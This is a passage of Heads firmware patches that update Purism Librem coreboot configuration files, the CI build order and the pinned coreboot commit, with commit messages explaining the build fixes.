CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -307,6 +307,7 @@ CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y @@ -458,7 +459,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -467,6 +471,7 @@ CONFIG_BOOTBLOCK_SIMPLE=y CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y +CONFIG_ACPI_CF9_FULL_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y @@ -499,7 +504,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -569,6 +574,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Skylake" @@ -724,6 +733,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 8c2e5c3e1..e2943e249 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -151,7 +152,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y CONFIG_USE_LEGACY_8254_TIMER=y @@ -218,7 +218,7 @@ CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 # # SoC # -CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 @@ -229,6 +229,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -286,7 +287,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -308,6 +308,7 @@ CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y @@ -459,7 +460,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -468,6 +472,7 @@ CONFIG_BOOTBLOCK_SIMPLE=y CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y +CONFIG_ACPI_CF9_FULL_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y @@ -500,7 +505,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -570,6 +575,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Skylake" @@ -725,6 +734,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/modules/coreboot b/modules/coreboot index aaebdc14f..9aaf29cfc 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -82,10 +82,10 @@ coreboot-talos_2_repo := https://github.com/Dasharo/coreboot coreboot-talos_2_commit_hash := fc47236e9877f4113dfcce07fa928f52d4d2c8ee $(eval $(call coreboot_module,talos_2,)) -# Similarly, purism is based on 4.21, but nothing builds against 4.21 itself +# Similarly, purism is based on 4.22.01, but nothing builds against that release # or any other fork - no benefit to sharing the toolchain yet. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := 0d57cff58fba2f3a4d3a714a4eae65753e58c6ff +coreboot-purism_commit_hash := 0d12e16886ac41d63cb3d60687866060fa75deee $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port From a15f77e3361d5baeb7500e75d749b92f0d1e9e0e Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 9 Feb 2024 15:20:50 -0500 Subject: [PATCH 149/619] config/coreboot-librem_11.config: intel_iommu=igfx_off on Heads cmdline intel_iommu=igfx_off is needed on the Heads kernel command line for memtest86+ to work. Without this parameter, the screen blanks when memtest86+ starts testing. This is unique to Librem 11, probably because it is the only device using FSP GOP for graphics init in coreboot. (libgfxinit does not yet support Jasper Lake.) Signed-off-by: Jonathon Hall --- config/coreboot-librem_11.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 466c51c7f..16b902ffb 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -176,7 +176,7 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y CONFIG_FSP_TEMP_RAM_SIZE=0x28000 CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 -CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set From b0b34493675b76983f92cfa523749c7ec5021784 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 18 Jun 2024 16:34:33 -0400 Subject: [PATCH 150/619] circleci: Add Librem L1UM to CI, in front of unmaintained 4.11 boards Signed-off-by: Jonathon Hall --- .circleci/config.yml | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index fdd27c2f1..5b2cc3426 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -250,8 +250,8 @@ workflows: # coreboot 4.11 - build_and_persist: - name: UNMAINTAINED_kgpe-d16_workstation - target: UNMAINTAINED_kgpe-d16_workstation + name: librem_l1um + target: librem_l1um subcommand: "" requires: - prep_env @@ -482,13 +482,21 @@ workflows: requires: - nitropad-nv41 + # coreboot 4.11 + - build: + name: UNMAINTAINED_kgpe-d16_workstation + target: UNMAINTAINED_kgpe-d16_workstation + subcommand: "" + requires: + - librem_l1um + # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard subcommand: "" requires: - - UNMAINTAINED_kgpe-d16_workstation + - librem_l1um # coreboot 4.11 - build: @@ -496,7 +504,7 @@ workflows: target: UNMAINTAINED_kgpe-d16_server subcommand: "" requires: - - UNMAINTAINED_kgpe-d16_workstation + - librem_l1um # coreboot 4.11 - build: @@ -504,7 +512,7 @@ workflows: target: UNMAINTAINED_kgpe-d16_server-whiptail subcommand: "" requires: - - UNMAINTAINED_kgpe-d16_workstation + - librem_l1um # - build: # name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard From 2ba56d130472cad3d14f9424a1b2f7dbe3f5a3e8 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 18 Jun 2024 16:42:31 -0400 Subject: [PATCH 151/619] modules/coreboot: 24.02.01-Purism-1, remove CFLAGS overrides, needs nss Update Purism coreboot to 24.02.01-Purism-1. Remove CFLAGS overrides when building coreboot. These overrides break 24.02.01, which added (and needs) --param=min-pagesize=1024. This has happened repeatedly in the past since Heads has to duplicate coreboot's CFLAGS if it overrides them. Specifically, the build fails with this error: src/commonlib/include/commonlib/endian.h:27:26: error: array subscript 1 is outside array bounds of 'void[0]' [-Werror=array-bounds=] 27 | *(uint8_t *)dest = val; | ~~~~~~~~~~~~~~~~~^~~~~ In function 'setup_default_ebda': cc1: note: source object is likely at address zero That's because coreboot is attempting to write to EBDA at physical address 0x40e, just above 1024. That is a valid address for x86, but it's too close to 0 by default for GCC, --param-min-pagesize=1024 allows writes to physical addresses above 1024. coreboot shouldn't need any of the usual Heads CFLAGS overrides for reproducibility; it is already reproducible. Fix indentation in modules/coreboot. Make accepted it before because the indented lines followed a variable assignment, so they couldn't be part of a recipe. That assignment is now gone, so they're now interprted as part of a recipe for the `.configured` target just above, they should not be indented. Add nss to flake.nix, needed as of 24.02.01. Update Librem coreboot configs for 24.02.01-Purism-1. Notably, the board Kconfig changed for Mini v2 in coreboot, so this is needed for correct builds. Signed-off-by: Jonathon Hall --- config/coreboot-librem_11.config | 12 +++++++---- config/coreboot-librem_13v2.config | 11 ++++++---- config/coreboot-librem_13v4.config | 11 ++++++---- config/coreboot-librem_14.config | 14 ++++++++----- config/coreboot-librem_15v3.config | 11 ++++++---- config/coreboot-librem_15v4.config | 11 ++++++---- config/coreboot-librem_l1um_v2.config | 16 +++++++------- config/coreboot-librem_mini.config | 15 +++++++++----- config/coreboot-librem_mini_v2.config | 25 +++++++++++++++------- flake.nix | 1 + modules/coreboot | 30 +++++++++++---------------- 11 files changed, 94 insertions(+), 63 deletions(-) diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 16b902ffb..2ce79c1c6 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -174,7 +174,6 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y # CONFIG_ENABLE_UART2 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x28000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -189,6 +188,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -222,6 +222,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="jsl" @@ -253,6 +254,7 @@ CONFIG_SOC_INTEL_JASPERLAKE_DEBUG_CONSENT=0 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -300,6 +302,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y CONFIG_ME_SPEC=13 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -337,7 +340,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y @@ -490,8 +492,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -563,6 +563,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V1=y # end of Generic Drivers @@ -589,6 +590,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -620,6 +622,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -680,6 +683,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 316e8264c..1b08c9e66 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM13_V2=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index fac3fa30c..e7b5d607b 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM13_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 3d05d26f1..02f30d0fe 100644 --- a/config/coreboot-librem_14.config +++ 